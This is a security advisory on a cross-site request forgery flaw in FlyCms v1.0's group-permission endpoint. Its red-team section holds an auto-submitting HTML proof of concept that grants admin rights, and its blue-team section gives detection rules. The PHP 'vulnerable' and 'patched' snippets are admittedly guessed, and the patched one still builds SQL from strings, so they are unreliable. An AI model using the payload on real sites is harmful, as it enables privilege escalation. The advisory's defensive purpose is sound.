CVE-2024-22699

Executive Summary

CVE-2024-22699 identifies a Cross-Site Request Forgery (CSRF) vulnerability in FlyCms v1.0, specifically within the /system/admin/update_group_save endpoint. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions, such as modifying user group permissions. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as a medium-severity CSRF issue. No official patch has been released by the vendor, and no public exploit code is available. The attack vector is network-based, requires user interaction, and has low complexity.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby). FlyCms is a standalone PHP application. The risk is limited to direct deployments of the software.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The attack is carried out over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
• User Interaction (UI): Required (R) - The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
• Confidentiality (C): None (N) - No data is directly exposed.
• Integrity (I): Low (L) - The attacker can modify group settings.
• Availability (A): None (N) - No impact on system availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch makes it a persistent threat.

Deep Dive & Mechanics

The vulnerability resides in the update_group_save function within the admin panel of FlyCms v1.0. This function is responsible for updating user group permissions. The application fails to implement any anti-CSRF tokens or origin validation on the POST request to /system/admin/update_group_save. As a result, an attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to modify group permissions.

The attack flow:

1. Attacker crafts a malicious HTML page containing a form that auto-submits to /system/admin/update_group_save with modified parameters (e.g., granting admin privileges to a low-privilege group).
2. Attacker lures an authenticated admin to visit this page (e.g., via phishing email or social engineering).
3. The admin's browser sends the forged POST request with the admin's session cookie.
4. The server processes the request, altering group permissions without the admin's consent.

Vulnerable vs. Patched Code

Vulnerable Code (FlyCms v1.0): The vulnerable endpoint likely lacks CSRF protection. A typical vulnerable PHP snippet might look like:

// /system/admin/update_group_save
if ($_POST['submit']) {
    $group_id = $_POST['group_id'];
    $permissions = $_POST['permissions'];
    // Update database without checking CSRF token
    $db->query("UPDATE groups SET permissions='$permissions' WHERE id=$group_id");
}

Patched Code (Hypothetical): A patched version would include a CSRF token validation:

// /system/admin/update_group_save
session_start();
if ($_POST['submit'] && $_POST['csrf_token'] === $_SESSION['csrf_token']) {
    $group_id = intval($_POST['group_id']);
    $permissions = $db->real_escape_string($_POST['permissions']);
    $db->query("UPDATE groups SET permissions='$permissions' WHERE id=$group_id");
} else {
    die('CSRF token validation failed.');
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install FlyCms v1.0 on a local server (e.g., XAMPP or Docker).
2. Create an admin account and log in.
3. Craft the following HTML file (csrf_exploit.html):

<html>
<body>
<form action="http://target.com/system/admin/update_group_save" method="POST">
    <input type="hidden" name="group_id" value="2">
    <input type="hidden" name="permissions" value="admin">
    <input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>

4. Host this file on an attacker-controlled server.
5. Send the link to the admin (simulated via social engineering).
6. Once the admin visits the page, the group permissions are modified.

Note: No public exploit code is available; this is a custom PoC.

Blue Team

Detection:

• Monitor for unexpected POST requests to /system/admin/update_group_save from unusual referrers.
• Look for rapid changes in group permissions.
• Implement CSRF tokens as a mitigation.

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /system/admin/update_group_save with unexpected parameters.
• Logs: Admin activity logs showing unauthorized group permission changes.
• File: Presence of malicious HTML files on admin workstations (e.g., csrf_exploit.html).

Detection Engineering

YARA Rule

rule flycms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit HTML targeting FlyCms update_group_save"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-22699"
    strings:
        $action = "/system/admin/update_group_save" nocase
        $group_id = "group_id" nocase
        $permissions = "permissions" nocase
    condition:
        all of them
}

Sigma Rule

title: FlyCms CSRF Exploit Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects POST requests to FlyCms update_group_save endpoint without CSRF token
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/system/admin/update_group_save'
    condition: selection
falsepositives:
    - Legitimate admin actions (if CSRF token is missing)
level: medium

Suricata Rule

alert http any any -> any any (msg:"FlyCms CSRF Exploit Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/system/admin/update_group_save"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Implement CSRF tokens on all state-changing forms. Use a unique, unpredictable token per session.
2. Short-term: Restrict access to the admin panel via IP whitelisting or VPN.
3. Long-term: Upgrade to a patched version if available, or migrate to a supported CMS.
4. Compensating Controls: Enable SameSite cookies (Lax or Strict) and validate the Origin/Referer header.

Valters IT
Securing Digital Frontiers